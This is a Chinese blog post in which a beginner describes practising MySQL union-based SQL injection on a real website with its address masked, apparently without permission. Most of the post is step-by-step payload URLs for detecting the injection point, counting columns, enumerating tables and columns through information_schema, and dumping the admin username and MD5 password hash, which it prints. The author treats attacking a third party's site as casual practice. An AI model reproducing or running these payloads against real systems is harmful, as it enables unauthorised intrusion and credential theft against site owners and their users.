记一次操蛋的mysql注入之旅

最近开始学习web安全的知识,刚好学完mysql注入这块,赶紧找个网站练练手,整个过程很顺利,但是结果很操蛋。我还是个小菜鸟,各位大神看了轻喷......


站点:http://www.xxx.org/xxx.php?id=6(马赛克遮体)

1.注入点检测

http://www.xxx.org/xxx.php?id=6 and 1=1 结果正常

http://www.xxx.org/xxx.php?id=6 and 1=2 结果为空

勤奋的孩子运气不会差,一出手就发现了注入点,下面就开始一步步开搞。


2.猜查询字段

http://www.xxx.org/xxx.php?id=6 order by 10 页面显示错误,说明查询的字段数小于10,缩小范围再试

http://www.xxx.org/xxx.php?id=6 order by 5   页面显示错误,继续缩小

http://www.xxx.org/xxx.php?id=6 order by 4   页面显示正常,说明查询的字段数就是4,接下来就可以进一步收集信息了


3.信息收集

http://www.xxx.org/xxx.php?id=6 and 1=2 union select 1,database(),user(),version()   从结果中得到三个信息,第一数据库名称zadmin_aaa(化名),第二用户名,第三版本号5.5.49,看到版本号第一反应就是可以利用information_schema来搞事情了。


4.爆表名

http://www.xxx.org/xxx.php?id=6 and 1=2 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=0x7A61646D696E5F616161

这里有点要注意,就是库名要转成16进制来查询,zadmin_aaa转完为0x7A61646D696E5F616161。

从执行结果可以看到有下面几个表:xxx_User,xxx_category,xxx_content,很明显xxx_User就是我们要爆的表


5.爆字段名

http://www.xxx.org/xxx.php?id=6 and 1=2 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x7878785F55736572

同样的表名也要转成16进制来查询。

执行结果爆出三个字段,id,password,username(真是个简单的表),有了字段有了表名,当然就可以获取登录名和密码了


6.爆username和password值

http://www.xxx.org/xxx.php?id=6 and 1=2 union select 1,2,3,group_concat(id,0x27,password,0x27,username) from xxx_User

执行结果:1|admin|55f069b9e8bd8b58c40a25feb5e505ca

接下来就是破解md5,没什么好介绍,网上一堆工具可用


账号密码都在收了,接下来当然后登录后台,然后打开后台的那一刻我懵逼了,后台页面上只有一个错误提示,根本就没有登录框。。。。我仿佛看到了站长猥琐的笑容。这次本意是练习注入,并不想搞太多事情,所以也就就此打住,文章水平不高,看到的大佬们,请轻喷。。。。


你可能感兴趣的:(web安全,mysql,安全,web,sql注入)